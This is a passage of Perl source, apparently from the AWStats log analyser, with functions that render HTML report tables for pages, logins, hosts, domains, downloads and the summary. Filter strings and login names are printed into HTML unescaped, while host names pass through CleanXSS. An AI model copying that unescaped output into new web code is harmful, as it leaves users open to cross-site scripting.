if ( $ShowPagesStats =~ /X/i ) {
print "<td>"
. ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>";
}
# Call to plugins' function ShowPagesAddField
foreach my $pluginname (
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('$key')";
# eval("$function");
my $function = "ShowPagesAddField_$pluginname";
&$function($key);
}
print "<td class=\"aws\">";
# alt and title are not provided to reduce page size
if ( $ShowPagesStats =~ /P/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />";
}
if ( $ShowPagesStats =~ /B/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />";
}
if ( $ShowPagesStats =~ /E/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />";
}
if ( $ShowPagesStats =~ /X/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />";
}
print "</td></tr>\n";
$total_p += $_url_p{$key};
$total_e += $_url_e{$key};
$total_x += $_url_x{$key};
$total_k += $_url_k{$key};
$count++;
}
if ($Debug) {
debug(
"Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k",
2
);
}
my $rest_p = $TotalPages - $total_p;
my $rest_k = $TotalBytesPages - $total_k;
my $rest_e = $TotalEntries - $total_e;
my $rest_x = $TotalExits - $total_x;
if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) {
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
if ( $ShowPagesStats =~ /P/i ) {
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
}
if ( $ShowPagesStats =~ /B/i ) {
print "<td>"
. (
$rest_k
? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
: " "
)
. "</td>";
}
if ( $ShowPagesStats =~ /E/i ) {
print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>";
}
if ( $ShowPagesStats =~ /X/i ) {
print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>";
}
# Call to plugins' function ShowPagesAddField
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
my $function = "ShowPagesAddField_$pluginname";
&$function('');
}
print "<td> </td></tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Login details frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowLogins{
my $total_p = 0;
my $total_h = 0;
my $total_k = 0;
my $rest_p = 0;
my $rest_h = 0;
my $rest_k = 0;
print "$Center<a name=\"logins\"> </a><br />\n";
my $title = '';
if ( $HTMLOutput{'alllogins'} ) { $title .= "$Message[94]"; }
if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; }
&tab_head( "$title", 19, 0, 'logins' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
. Format_Number(( scalar keys %_login_h )) . "</th>";
&HTMLShowUserInfo('__title__');
if ( $ShowAuthenticatedUsers =~ /P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
}
if ( $ShowAuthenticatedUsers =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ShowAuthenticatedUsers =~ /B/i ) {
print
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
if ( $ShowAuthenticatedUsers =~ /L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
$total_p = $total_h = $total_k = 0;
my $count = 0;
if ( $HTMLOutput{'alllogins'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Login'},
\%_login_h, \%_login_p );
}
if ( $HTMLOutput{'lastlogins'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Login'},
\%_login_h, \%_login_l );
}
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">$key</td>";
&HTMLShowUserInfo($key);
if ( $ShowAuthenticatedUsers =~ /P/i ) {
print "<td>"
. ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " )
. "</td>";
}
if ( $ShowAuthenticatedUsers =~ /H/i ) {
print "<td>".Format_Number($_login_h{$key})."</td>";
}
if ( $ShowAuthenticatedUsers =~ /B/i ) {
print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
}
if ( $ShowAuthenticatedUsers =~ /L/i ) {
print "<td>"
. (
$_login_l{$key}
? Format_Date( $_login_l{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
$total_p += $_login_p{$key} || 0;
$total_h += $_login_h{$key};
$total_k += $_login_k{$key} || 0;
$count++;
}
if ($Debug) {
debug(
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
2
);
}
$rest_p = $TotalPages - $total_p;
$rest_h = $TotalHits - $total_h;
$rest_k = $TotalBytes - $total_k;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
{ # All other logins and/or anonymous
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>";
&HTMLShowUserInfo('');
if ( $ShowAuthenticatedUsers =~ /P/i ) {
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
}
if ( $ShowAuthenticatedUsers =~ /H/i ) {
print "<td>".Format_Number($rest_h)."</td>";
}
if ( $ShowAuthenticatedUsers =~ /B/i ) {
print "<td>" . Format_Bytes($rest_k) . "</td>";
}
if ( $ShowAuthenticatedUsers =~ /L/i ) {
print "<td> </td>";
}
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Unknown IP/Host details frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowHostsUnknown{
my $total_p = 0;
my $total_h = 0;
my $total_k = 0;
my $rest_p = 0;
my $rest_h = 0;
my $rest_k = 0;
print "$Center<a name=\"unknownip\"> </a><br />\n";
&tab_head( "$Message[45]", 19, 0, 'unknownwip' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
. Format_Number(( scalar keys %_host_h ))
. " $Message[1]</th>";
&HTMLShowHostInfo('__title__');
if ( $ShowHostsStats =~ /P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
}
if ( $ShowHostsStats =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ShowHostsStats =~ /B/i ) {
print
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
if ( $ShowHostsStats =~ /L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
$total_p = $total_h = $total_k = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
\%_host_p );
foreach my $key (@keylist) {
my $host = CleanXSS($key);
print "<tr><td class=\"aws\">$host</td>";
&HTMLShowHostInfo($key);
if ( $ShowHostsStats =~ /P/i ) {
print "<td>"
. ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " )
. "</td>";
}
if ( $ShowHostsStats =~ /H/i ) {
print "<td>".Format_Number($_host_h{$key})."</td>";
}
if ( $ShowHostsStats =~ /B/i ) {
print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
}
if ( $ShowHostsStats =~ /L/i ) {
print "<td>"
. (
$_host_l{$key}
? Format_Date( $_host_l{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
$total_p += $_host_p{$key};
$total_h += $_host_h{$key};
$total_k += $_host_k{$key} || 0;
$count++;
}
if ($Debug) {
debug(
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
2
);
}
$rest_p = $TotalPages - $total_p;
$rest_h = $TotalHits - $total_h;
$rest_k = $TotalBytes - $total_k;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
{ # All other visitors (known or not)
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>";
&HTMLShowHostInfo('');
if ( $ShowHostsStats =~ /P/i ) {
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
}
if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
if ( $ShowHostsStats =~ /B/i ) {
print "<td>" . Format_Bytes($rest_k) . "</td>";
}
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Host details frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowHosts{
my $total_p = 0;
my $total_h = 0;
my $total_k = 0;
my $rest_p = 0;
my $rest_h = 0;
my $rest_k = 0;
print "$Center<a name=\"hosts\"> </a><br />\n";
# Show filter form
&HTMLShowFormFilter( "hostfilter", $FilterIn{'host'},
$FilterEx{'host'} );
# Show hosts list
my $title = '';
my $cpt = 0;
if ( $HTMLOutput{'allhosts'} ) {
$title .= "$Message[81]";
$cpt = ( scalar keys %_host_h );
}
if ( $HTMLOutput{'lasthosts'} ) {
$title .= "$Message[9]";
$cpt = ( scalar keys %_host_h );
}
&tab_head( "$title", 19, 0, 'hosts' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
if ( $FilterIn{'host'} || $FilterEx{'host'} ) { # With filter
if ( $FilterIn{'host'} ) {
print "$Message[79] '<b>$FilterIn{'host'}</b>'";
}
if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; }
if ( $FilterEx{'host'} ) {
print " Exclude $Message[79] '<b>$FilterEx{'host'}</b>'";
}
if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; }
print "$cpt $Message[81]";
if ( $MonthRequired ne 'all' ) {
if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
print
"<br />$Message[102]: ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]";
}
}
}
else { # Without filter
if ( $MonthRequired ne 'all' ) {
print
"$Message[102] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]";
}
else { print "$Message[102] : " . Format_Number(( scalar keys %_host_h )); }
}
print "</th>";
&HTMLShowHostInfo('__title__');
if ( $ShowHostsStats =~ /P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
}
if ( $ShowHostsStats =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ShowHostsStats =~ /B/i ) {
print
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
if ( $ShowHostsStats =~ /L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
$total_p = $total_h = $total_k = 0;
my $count = 0;
if ( $HTMLOutput{'allhosts'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
\%_host_p );
}
if ( $HTMLOutput{'lasthosts'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
\%_host_l );
}
my $regipv4=qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
if ( $DynamicDNSLookup == 2 ) {
# Use static DNS file
&Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 );
}
foreach my $key (@keylist) {
my $host = CleanXSS($key);
print "<tr><td class=\"aws\">"
. ( $_robot_l{$key} ? '<b>' : '' ) . "$host"
. ( $_robot_l{$key} ? '</b>' : '' );
if ($DynamicDNSLookup) {
# Dynamic reverse DNS lookup
if ($host =~ /$regipv4/o) {
my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$host)),AF_INET)); # This may be slow
if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) {
if ( $DynamicDNSLookup == 2 ) {
# Check static DNS file
$lookupresult = $MyDNSTable{$host};
if ($lookupresult) { print " ($lookupresult)"; }
else { print ""; }
}
else { print ""; }
}
else { print " ($lookupresult)"; }
}
}
print "</td>";
&HTMLShowHostInfo($key);
if ( $ShowHostsStats =~ /P/i ) {
print "<td>"
. ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " )
. "</td>";
}
if ( $ShowHostsStats =~ /H/i ) {
print "<td>".Format_Number($_host_h{$key})."</td>";
}
if ( $ShowHostsStats =~ /B/i ) {
print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
}
if ( $ShowHostsStats =~ /L/i ) {
print "<td>"
. (
$_host_l{$key}
? Format_Date( $_host_l{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
$total_p += $_host_p{$key};
$total_h += $_host_h{$key};
$total_k += $_host_k{$key} || 0;
$count++;
}
if ($Debug) {
debug(
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
2
);
}
$rest_p = $TotalPages - $total_p;
$rest_h = $TotalHits - $total_h;
$rest_k = $TotalBytes - $total_k;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
{ # All other visitors (known or not)
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
&HTMLShowHostInfo('');
if ( $ShowHostsStats =~ /P/i ) {
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
}
if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
if ( $ShowHostsStats =~ /B/i ) {
print "<td>" . Format_Bytes($rest_k) . "</td>";
}
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Domains details frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowDomains{
my $total_p = 0;
my $total_h = 0;
my $total_k = 0;
my $total_v = 0;
my $total_u = 0;
my $rest_p = 0;
my $rest_h = 0;
my $rest_k = 0;
my $rest_v = 0;
my $rest_u = 0;
print "$Center<a name=\"domains\"> </a><br />\n";
# Show domains list
my $title = '';
my $cpt = 0;
if ( $HTMLOutput{'alldomains'} ) {
$title .= "$Message[25]";
$cpt = ( scalar keys %_domener_h );
}
&tab_head( "$title", 19, 0, 'domains' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>";
if ( $ShowDomainsStats =~ /U/i ) {
print
"<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
}
if ( $ShowDomainsStats =~ /V/i ) {
print
"<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
}
if ( $ShowDomainsStats =~ /P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
}
if ( $ShowDomainsStats =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ShowDomainsStats =~ /B/i ) {
print
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
print "<th> </th>";
print "</tr>\n";
$total_u = $total_v = $total_p = $total_h = $total_k = 0;
my $max_h = 1;
foreach ( values %_domener_h ) {
if ( $_ > $max_h ) { $max_h = $_; }
}
my $max_k = 1;
foreach ( values %_domener_k ) {
if ( $_ > $max_k ) { $max_k = $_; }
}
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h,
\%_domener_p );
foreach my $key (@keylist) {
my ( $_domener_u, $_domener_v );
my $bredde_p = 0;
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_h > 0 ) {
$bredde_p =
int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
} # use max_h to enable to compare pages with hits
if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
if ( $max_h > 0 ) {
$bredde_h =
int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
}
if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
if ( $max_k > 0 ) {
$bredde_k =
int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
1;
}
if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
my $newkey = lc($key);
if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
print
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
. AltTitle("$Message[0]")
. " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
}
else {
print
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
. AltTitle("$newkey")
. " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
}
## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
if ( $ShowDomainsStats =~ /U/i ) {
$_domener_u = (
$_domener_p{$key}
? $_domener_p{$key} / $TotalPages
: 0
);
$_domener_u += ( $_domener_h{$key} / $TotalHits );
$_domener_u =
sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
print "<td>".Format_Number($_domener_u)." ("
. sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
. ")</td>";
}
if ( $ShowDomainsStats =~ /V/i ) {
$_domener_v = (
$_domener_p{$key}
? $_domener_p{$key} / $TotalPages
: 0
);
$_domener_v += ( $_domener_h{$key} / $TotalHits );
$_domener_v =
sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
print "<td>".Format_Number($_domener_v)." ("
. sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
. ")</td>";
}
if ( $ShowDomainsStats =~ /P/i ) {
print "<td>".Format_Number($_domener_p{$key})."</td>";
}
if ( $ShowDomainsStats =~ /H/i ) {
print "<td>".Format_Number($_domener_h{$key})."</td>";
}
if ( $ShowDomainsStats =~ /B/i ) {
print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
}
print "<td class=\"aws\">";
if ( $ShowDomainsStats =~ /P/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
. AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) )
. " /><br />\n";
}
if ( $ShowDomainsStats =~ /H/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
. AltTitle( "$Message[57]: " . int( $_domener_h{$key} ) )
. " /><br />\n";
}
if ( $ShowDomainsStats =~ /B/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
. AltTitle(
"$Message[75]: " . Format_Bytes( $_domener_k{$key} ) )
. " />";
}
print "</td>";
print "</tr>\n";
$total_u += $_domener_u;
$total_v += $_domener_v;
$total_p += $_domener_p{$key};
$total_h += $_domener_h{$key};
$total_k += $_domener_k{$key} || 0;
$count++;
}
my $rest_u = $TotalUnique - $total_u;
my $rest_v = $TotalVisits - $total_v;
$rest_p = $TotalPages - $total_p;
$rest_h = $TotalHits - $total_h;
$rest_k = $TotalBytes - $total_k;
if ( $rest_u > 0
|| $rest_v > 0
|| $rest_p > 0
|| $rest_h > 0
|| $rest_k > 0 )
{ # All other domains (known or not)
print
"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
if ( $ShowDomainsStats =~ /B/i ) {
print "<td>" . Format_Bytes($rest_k) . "</td>";
}
print "<td class=\"aws\"> </td>";
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Downloads code frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowDownloads{
my $regext = qr/\.(\w{1,6})$/;
print "$Center<a name=\"downloads\"> </a><br />\n";
&tab_head( $Message[178], 19, 0, "downloads" );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]</th>";
if ( $ShowFileTypesStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"
."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; }
if ( $ShowFileTypesStats =~ /B/i ){
print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
}
print "</tr>\n";
my $count = 0;
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
print "<tr>";
my $ext = Get_Extension($regext, $u);
if ( !$ext) {
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/mime\/unknown.png\""
. AltTitle("")
. " /></td>";
}
else {
my $nameicon = $MimeHashLib{$ext}[0] || "notavailable";
my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " ";
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/mime\/$nameicon.png\""
. AltTitle("")
. " /></td>";
}
print "<td class=\"aws\">";
&HTMLShowURLInfo($u);
print "</td>";
if ( $ShowFileTypesStats =~ /H/i ){
print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>";
print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>";
}
if ( $ShowFileTypesStats =~ /B/i ){
print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>";
print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/
($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>";
}
print "</tr>\n";
$count++;
if ($count >= $MaxRowsInHTMLOutput){last;}
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Summary section at the top of the main page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainSummary{
if ($Debug) { debug( "ShowSummary", 2 ); }
# FirstTime LastTime
my $FirstTime = 0;
my $LastTime = 0;
foreach my $key ( keys %FirstTime ) {
my $keyqualified = 0;
if ( $MonthRequired eq 'all' ) { $keyqualified = 1; }
if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; }
if ($keyqualified) {
if ( $FirstTime{$key}
&& ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
{
$FirstTime = $FirstTime{$key};
}
if ( $LastTime < ( $LastTime{$key} || 0 ) ) {
$LastTime = $LastTime{$key};
}
}
}
#print "$Center<a name=\"summary\"> </a><br />\n";
my $title = "$Message[128]";
&tab_head( "$title", 0, 0, 'month' );
my $NewLinkParams = ${QueryString};
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
my $NewLinkTarget = '';
if ( $FrameName eq 'mainright' ) {
$NewLinkTarget = " target=\"_parent\"";
}
# Ratio
my $RatioVisits = 0;
my $RatioPages = 0;
my $RatioHits = 0;
my $RatioBytes = 0;
if ( $TotalUnique > 0 ) {
$RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100;
}
if ( $TotalVisits > 0 ) {
$RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100;
}
if ( $TotalVisits > 0 ) {
$RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100;
}
if ( $TotalVisits > 0 ) {
$RatioBytes =
int( ( $TotalBytes / 1024 ) * 100 /
( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100;
}
my $colspan = 5;
my $w = '20';
if ( $LogType eq 'W' || $LogType eq 'S' ) {
$w = '17';
$colspan = 6;
}
# Show first/last
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
print
"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\""
. ( $colspan - 1 ) . "\">\n";
print( $MonthRequired eq 'all'
? "$Message[6] $YearRequired"
: "$Message[5] "
. $MonthNumLib{$MonthRequired}
. " $YearRequired"
);
print "</td></tr>\n";
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
print "<td class=\"aws\"><b>$Message[8]</b></td>\n";
print "<td class=\"aws\" colspan=\""
. ( $colspan - 1 ) . "\">"
. ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>";
print "</tr>\n";
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
print "<td class=\"aws\"><b>$Message[9]</b></td>\n";
print "<td class=\"aws\" colspan=\""
. ( $colspan - 1 ) . "\">"
. ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" )
. "</td>\n";
print "</tr>\n";
# Show main indicators title row
print "<tr>";
if ( $LogType eq 'W' || $LogType eq 'S' ) {
print "<td bgcolor=\"#$color_TableBGTitle\"> </td>";
}
if ( $ShowSummary =~ /U/i ) {
print "<td width=\"$w%\" bgcolor=\"#$color_u\""
. Tooltip(2)
. ">$Message[11]</td>";
}
else {
print
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
}
if ( $ShowSummary =~ /V/i ) {
print "<td width=\"$w%\" bgcolor=\"#$color_v\""
. Tooltip(1)
. ">$Message[10]</td>";
}
else {
print
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
}
if ( $ShowSummary =~ /P/i ) {
print "<td width=\"$w%\" bgcolor=\"#$color_p\""
. Tooltip(3)
. ">$Message[56]</td>";
}
else {
print
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
}
if ( $ShowSummary =~ /H/i ) {
print "<td width=\"$w%\" bgcolor=\"#$color_h\""
. Tooltip(4)
. ">$Message[57]</td>";
}
else {
print
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
}
if ( $ShowSummary =~ /B/i ) {
print "<td width=\"$w%\" bgcolor=\"#$color_k\""
. Tooltip(5)
. ">$Message[75]</td>";
}
else {
print
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
}
print "</tr>\n";
# Show main indicators values for viewed traffic
print "<tr>";
if ( $LogType eq 'M' ) {
print "<td class=\"aws\">$Message[165]</td>";
print "<td> <br /> </td>\n";
print "<td> <br /> </td>\n";
if ( $ShowSummary =~ /H/i ) {
print "<td><b>".Format_Number($TotalHits)."</b>"
. (
$LogType eq 'M'
? ""
: "<br />($RatioHits "
. lc( $Message[57] . "/" . $Message[12] ) . ")"
)
. "</td>";
}
else { print "<td> </td>"; }
if ( $ShowSummary =~ /B/i ) {
print "<td><b>"
. Format_Bytes( int($TotalBytes) )
. "</b><br />($RatioBytes $Message[108]/"
. $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
. ")</td>";
}
else { print "<td> </td>"; }
}
else {
if ( $LogType eq 'W' || $LogType eq 'S' ) {
print "<td class=\"aws\">$Message[160] *</td>";
}
if ( $ShowSummary =~ /U/i ) {
print "<td>"
. (
$MonthRequired eq 'all'
? "<b><= ".Format_Number($TotalUnique)."</b><br />$Message[129]"
: "<b>".Format_Number($TotalUnique)."</b><br /> "
)
. "</td>";
}
else { print "<td> </td>"; }
if ( $ShowSummary =~ /V/i ) {
print
"<td><b>".Format_Number($TotalVisits)."</b><br />($RatioVisits $Message[52])</td>";
}
else { print "<td> </td>"; }
if ( $ShowSummary =~ /P/i ) {
print "<td><b>".Format_Number($TotalPages)."</b><br />($RatioPages "
. $Message[56] . "/"
. $Message[12]
. ")</td>";
}
else { print "<td> </td>"; }
if ( $ShowSummary =~ /H/i ) {
print "<td><b>".Format_Number($TotalHits)."</b>"
. (
$LogType eq 'M'
? ""
: "<br />($RatioHits "
. $Message[57] . "/"
. $Message[12] . ")"
)
. "</td>";
}
else { print "<td> </td>"; }
if ( $ShowSummary =~ /B/i ) {
print "<td><b>"
. Format_Bytes( int($TotalBytes) )
. "</b><br />($RatioBytes $Message[108]/"
. $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
. ")</td>";
}
else { print "<td> </td>"; }
}
print "</tr>\n";
# Show main indicators values for not viewed traffic values
if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) {
print "<tr>";
if ( $LogType eq 'M' ) {
print "<td class=\"aws\">$Message[166]</td>";
print "<td> <br /> </td>\n";
